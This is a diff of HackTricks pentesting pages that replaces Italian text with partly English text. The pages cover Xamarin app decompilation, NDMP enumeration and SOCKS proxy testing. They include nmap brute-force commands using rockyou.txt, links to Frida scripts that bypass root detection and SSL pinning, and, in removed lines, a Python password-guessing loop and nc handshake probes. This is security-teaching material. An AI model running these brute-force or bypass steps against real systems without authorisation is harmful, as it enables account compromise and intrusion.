Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,63 @@
|
||||||
# App Xamarin
|
# Xamarin Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
Questa è una sintesi dell'articolo del blog [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
|
|
||||||
## **Informazioni di base**
|
## **Informazioni di base**
|
||||||
|
|
||||||
Xamarin è una piattaforma **open-source** progettata per sviluppatori per **creare app per iOS, Android e Windows** utilizzando i framework .NET e C#. Questa piattaforma offre accesso a numerosi strumenti ed estensioni per creare applicazioni moderne in modo efficiente.
|
Xamarin è una **piattaforma open-source** progettata per gli sviluppatori per **creare app per iOS, Android e Windows** utilizzando i framework .NET e C#. Questa piattaforma offre accesso a numerosi strumenti ed estensioni per creare applicazioni moderne in modo efficiente.
|
||||||
|
|
||||||
### Architettura di Xamarin
|
### Architettura di Xamarin
|
||||||
|
|
||||||
- Per **Android**, Xamarin si integra con i namespace di Android e Java tramite i binding .NET, operando all'interno dell'ambiente di esecuzione Mono insieme all'Android Runtime (ART). I Managed Callable Wrappers (MCW) e gli Android Callable Wrappers (ACW) facilitano la comunicazione tra Mono e ART, entrambi costruiti sul kernel Linux.
|
- Per **Android**, Xamarin si integra con i namespace Android e Java tramite binding .NET, operando all'interno dell'ambiente di esecuzione Mono insieme all'Android Runtime (ART). Managed Callable Wrappers (MCW) e Android Callable Wrappers (ACW) facilitano la comunicazione tra Mono e ART, entrambi costruiti sul kernel Linux.
|
||||||
- Per **iOS**, le applicazioni vengono eseguite sotto il runtime Mono, utilizzando la compilazione Ahead of Time (AOT) completa per convertire il codice C# .NET in linguaggio assembly ARM. Questo processo viene eseguito insieme all'Objective-C Runtime su un kernel simile a UNIX.
|
- Per **iOS**, le applicazioni vengono eseguite sotto il runtime Mono, utilizzando una compilazione completa Ahead of Time (AOT) per convertire il codice C# .NET in linguaggio assembly ARM. Questo processo si svolge insieme all'Objective-C Runtime su un kernel simile a UNIX.
|
||||||
|
|
||||||
### .NET Runtime e Mono Framework
|
### Runtime .NET e Framework Mono
|
||||||
|
|
||||||
Il **framework .NET** include assembly, classi e namespace per lo sviluppo di applicazioni, con il .NET Runtime che gestisce l'esecuzione del codice. Offre indipendenza dalla piattaforma e compatibilità all'indietro. Il **Mono Framework** è una versione open-source del framework .NET, avviato nel 2005 per estendere .NET a Linux, ora supportato da Microsoft e guidato da Xamarin.
|
Il **framework .NET** include assembly, classi e namespace per lo sviluppo di applicazioni, con il Runtime .NET che gestisce l'esecuzione del codice. Offre indipendenza dalla piattaforma e compatibilità retroattiva. Il **Framework Mono** è una versione open-source del framework .NET, avviato nel 2005 per estendere .NET a Linux, ora supportato da Microsoft e guidato da Xamarin.
|
||||||
|
|
||||||
### Reverse Engineering delle App Xamarin
|
### Reverse Engineering delle App Xamarin
|
||||||
|
|
||||||
#### Decompilazione delle Assemblee Xamarin
|
#### Decompilazione delle Assemblies Xamarin
|
||||||
|
|
||||||
La decompilazione trasforma il codice compilato in codice sorgente. In Windows, la finestra Moduli in Visual Studio può identificare i moduli per la decompilazione, consentendo l'accesso diretto al codice di terze parti e l'estrazione del codice sorgente per l'analisi.
|
La decompilazione trasforma il codice compilato di nuovo in codice sorgente. In Windows, la finestra Moduli in Visual Studio può identificare i moduli per la decompilazione, consentendo l'accesso diretto al codice di terze parti e l'estrazione del codice sorgente per l'analisi.
|
||||||
|
|
||||||
#### Compilazione JIT vs AOT
|
#### Compilazione JIT vs AOT
|
||||||
|
|
||||||
- **Android** supporta la compilazione Just-In-Time (JIT) e Ahead-Of-Time (AOT), con una modalità AOT ibrida per una velocità di esecuzione ottimale. La compilazione AOT completa è esclusiva delle licenze Enterprise.
|
- **Android** supporta la compilazione Just-In-Time (JIT) e Ahead-Of-Time (AOT), con una modalità ibrida AOT per una velocità di esecuzione ottimale. La compilazione completa AOT è esclusiva per le licenze Enterprise.
|
||||||
- **iOS** utilizza esclusivamente la compilazione AOT a causa delle restrizioni di Apple sull'esecuzione di codice dinamico.
|
- **iOS** utilizza esclusivamente la compilazione AOT a causa delle restrizioni di Apple sull'esecuzione di codice dinamico.
|
||||||
|
|
||||||
### Estrazione dei file dll da APK/IPA
|
### Estrazione di file dll da APK/IPA
|
||||||
|
|
||||||
Per accedere alle assemblee in un APK/IPA, decomprimi il file ed esplora la directory delle assemblee. Per Android, strumenti come [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) possono decomprimere i file dll.
|
Per accedere alle assembly in un APK/IPA, decomprimi il file ed esplora la directory delle assembly. Per Android, strumenti come [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) possono decomprimere i file dll.
|
||||||
```bash
|
```bash
|
||||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||||
```
|
```
|
||||||
Per i blob di assembly in Android, [pyxamstore](https://github.com/jakev/pyxamstore) può decomprimerli.
|
Per i blob di assembly in Android, [pyxamstore](https://github.com/jakev/pyxamstore) può estrarli.
|
||||||
```bash
|
```bash
|
||||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||||
```
|
```
|
||||||
I file dll di iOS sono facilmente accessibili per la decompilazione, rivelando porzioni significative del codice dell'applicazione, che spesso condivide una base comune tra diverse piattaforme.
|
i file dll di iOS sono facilmente accessibili per la decompilazione, rivelando porzioni significative del codice dell'applicazione, che spesso condivide una base comune tra diverse piattaforme.
|
||||||
|
|
||||||
### Analisi dinamica
|
### Analisi Dinamica
|
||||||
|
|
||||||
L'analisi dinamica prevede il controllo del pinning SSL e l'utilizzo di strumenti come [Fridax](https://github.com/NorthwaveSecurity/fridax) per le modifiche in tempo di esecuzione del binario .NET nelle app Xamarin. Sono disponibili script di Frida per bypassare la rilevazione del root o il pinning SSL, migliorando le capacità di analisi.
|
L'analisi dinamica comporta il controllo per SSL pinning e l'uso di strumenti come [Fridax](https://github.com/NorthwaveSecurity/fridax) per modifiche in tempo reale del binario .NET nelle app Xamarin. Gli script Frida sono disponibili per bypassare il rilevamento del root o SSL pinning, migliorando le capacità di analisi.
|
||||||
|
|
||||||
Altri script interessanti di Frida:
|
Altri interessanti script Frida:
|
||||||
|
|
||||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||||
|
@ -67,16 +68,17 @@ Altri script interessanti di Frida:
|
||||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **Informazioni sul protocollo**
|
# **Informazioni sul Protocollo**
|
||||||
|
|
||||||
Da [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
Da [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||||
|
|
||||||
> **NDMP**, o **Network Data Management Protocol**, è un protocollo destinato al trasporto di dati tra dispositivi di archiviazione collegati in rete \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) e dispositivi di [backup](https://en.wikipedia.org/wiki/Backup). Ciò elimina la necessità di trasportare i dati attraverso il server di backup stesso, migliorando così la velocità e rimuovendo il carico dal server di backup.
|
> **NDMP**, o **Network Data Management Protocol**, è un protocollo destinato a trasportare dati tra dispositivi di archiviazione collegati in rete \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) e dispositivi di [backup](https://en.wikipedia.org/wiki/Backup). Questo elimina la necessità di trasportare i dati attraverso il server di backup stesso, migliorando così la velocità e riducendo il carico sul server di backup.
|
||||||
|
|
||||||
**Porta predefinita:** 10000
|
**Porta predefinita:** 10000
|
||||||
```text
|
```text
|
||||||
|
@ -34,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,134 +1,43 @@
|
||||||
# 1080 - Pentesting Socks
|
# 1080 - Pentesting Socks
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
**SOCKS** è un protocollo utilizzato per il trasferimento di dati tra un client e un server attraverso un proxy. La quinta versione, **SOCKS5**, aggiunge una funzionalità di autenticazione opzionale, consentendo solo agli utenti autorizzati di accedere al server. Gestisce principalmente il proxy delle connessioni TCP e l'inoltro dei pacchetti UDP, operando al livello di sessione (Layer 5) del modello OSI.
|
**SOCKS** è un protocollo utilizzato per trasferire dati tra un client e un server tramite un proxy. La quinta versione, **SOCKS5**, aggiunge una funzionalità di autenticazione opzionale, consentendo solo agli utenti autorizzati di accedere al server. Gestisce principalmente il proxying delle connessioni TCP e l'inoltro dei pacchetti UDP, operando al livello di sessione (Livello 5) del modello OSI.
|
||||||
|
|
||||||
**Porta predefinita:** 1080
|
**Porta predefinita:** 1080
|
||||||
|
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
### Controllo di autenticazione
|
### Controllo dell'autenticazione
|
||||||
```bash
|
```bash
|
||||||
nmap -p 1080 <ip> --script socks-auth-info
|
nmap -p 1080 <ip> --script socks-auth-info
|
||||||
```
|
```
|
||||||
### Brute Force
|
### Brute Force
|
||||||
|
|
||||||
#### Utilizzo di base
|
#### Utilizzo di base
|
||||||
|
|
||||||
La tecnica di Brute Force consiste nel tentare tutte le possibili combinazioni di password fino a trovare quella corretta. Questo metodo può essere utilizzato per violare la sicurezza di un sistema o di un account.
|
|
||||||
|
|
||||||
Per utilizzare il Brute Force, è necessario avere un elenco di password da provare. Questo elenco può essere creato manualmente o utilizzando strumenti appositi come wordlist o generatori di password.
|
|
||||||
|
|
||||||
Una volta ottenuto l'elenco delle password, è possibile utilizzare uno script o uno strumento di Brute Force per automatizzare il processo di prova delle password. Lo script o lo strumento proverà una password alla volta fino a trovare quella corretta.
|
|
||||||
|
|
||||||
È importante notare che il Brute Force può richiedere molto tempo, specialmente se l'elenco delle password è lungo o se il sistema ha delle misure di sicurezza che limitano il numero di tentativi consentiti. Inoltre, l'utilizzo del Brute Force può essere considerato illegale e può comportare conseguenze legali.
|
|
||||||
|
|
||||||
#### Esempio di utilizzo
|
|
||||||
|
|
||||||
Di seguito è riportato un esempio di utilizzo del Brute Force con uno script Python:
|
|
||||||
|
|
||||||
```python
|
|
||||||
import requests
|
|
||||||
|
|
||||||
url = "http://example.com/login"
|
|
||||||
username = "admin"
|
|
||||||
wordlist = ["password1", "password2", "password3"]
|
|
||||||
|
|
||||||
for password in wordlist:
|
|
||||||
data = {"username": username, "password": password}
|
|
||||||
response = requests.post(url, data=data)
|
|
||||||
|
|
||||||
if response.status_code == 200:
|
|
||||||
print("Password trovata:", password)
|
|
||||||
break
|
|
||||||
```
|
|
||||||
|
|
||||||
In questo esempio, lo script prova una password alla volta dal wordlist fornito. Se la password è corretta, lo script stampa "Password trovata" e termina l'esecuzione.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script socks-brute -p 1080 <ip>
|
nmap --script socks-brute -p 1080 <ip>
|
||||||
```
|
```
|
||||||
#### Utilizzo avanzato
|
#### Utilizzo avanzato
|
||||||
|
|
||||||
##### Socks Proxy
|
|
||||||
|
|
||||||
A Socks proxy is a protocol that allows a client to establish a connection through a firewall by using a proxy server. It can be used to bypass network restrictions and access resources that are otherwise blocked.
|
|
||||||
|
|
||||||
To use a Socks proxy, you need to configure your client to connect to the proxy server and specify the desired destination address and port. The proxy server then establishes a connection on behalf of the client and forwards the data between the client and the destination.
|
|
||||||
|
|
||||||
##### Proxychains
|
|
||||||
|
|
||||||
Proxychains is a tool that allows you to run any program through a Socks or HTTP proxy. It intercepts the network traffic generated by the program and redirects it through the specified proxy server.
|
|
||||||
|
|
||||||
To use Proxychains, you need to configure the proxy server settings in the `proxychains.conf` file. You can specify multiple proxy servers and set different proxy types for each server.
|
|
||||||
|
|
||||||
Once configured, you can run any program with Proxychains by prefixing the command with `proxychains`. For example, to run `nmap` through a Socks proxy, you would use the command `proxychains nmap <options>`.
|
|
||||||
|
|
||||||
##### Proxychains-ng
|
|
||||||
|
|
||||||
Proxychains-ng is an updated version of Proxychains that supports multiple proxy types, including Socks4, Socks5, and HTTP. It also includes additional features such as DNS resolution through the proxy and support for dynamic library injection.
|
|
||||||
|
|
||||||
To use Proxychains-ng, you need to configure the proxy server settings in the `proxychains.conf` file, similar to Proxychains. You can specify multiple proxy servers and set different proxy types for each server.
|
|
||||||
|
|
||||||
Once configured, you can run any program with Proxychains-ng by prefixing the command with `proxychains4` or `proxychains5`, depending on the desired proxy type. For example, to run `nmap` through a Socks5 proxy, you would use the command `proxychains5 nmap <options>`.
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||||
```
|
```
|
||||||
# Pentesting SOCKS
|
#### Output
|
||||||
|
|
||||||
## Introduction
|
|
||||||
|
|
||||||
SOCKS (Socket Secure) is a protocol that allows a client to establish a connection through a proxy server. It is commonly used for bypassing network restrictions and anonymizing internet traffic. In this section, we will explore various techniques for pentesting SOCKS servers.
|
|
||||||
|
|
||||||
## Enumeration
|
|
||||||
|
|
||||||
### Version Detection
|
|
||||||
|
|
||||||
To determine the version of the SOCKS server, we can send a `SOCKS5` handshake request and analyze the response. The server will reply with its supported version and authentication methods.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ echo -ne '\x05\x01\x00' | nc -v -n -w1 <target_ip> <target_port>
|
|
||||||
```
|
|
||||||
|
|
||||||
### User Enumeration
|
|
||||||
|
|
||||||
Some SOCKS servers may require authentication. We can attempt to enumerate valid usernames by sending a `SOCKS5` handshake request with different usernames and analyzing the response.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ echo -ne '\x05\x01\x00' | nc -v -n -w1 -p <source_port> -s <source_ip> <target_ip> <target_port>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Exploitation
|
|
||||||
|
|
||||||
### Proxy Chaining
|
|
||||||
|
|
||||||
We can chain multiple SOCKS proxies together to hide our identity and bypass network restrictions. This can be achieved by configuring each proxy to use the previous proxy as its upstream SOCKS server.
|
|
||||||
|
|
||||||
```bash
|
|
||||||
$ ssh -D <local_port> -p <ssh_port> <ssh_username>@<ssh_server>
|
|
||||||
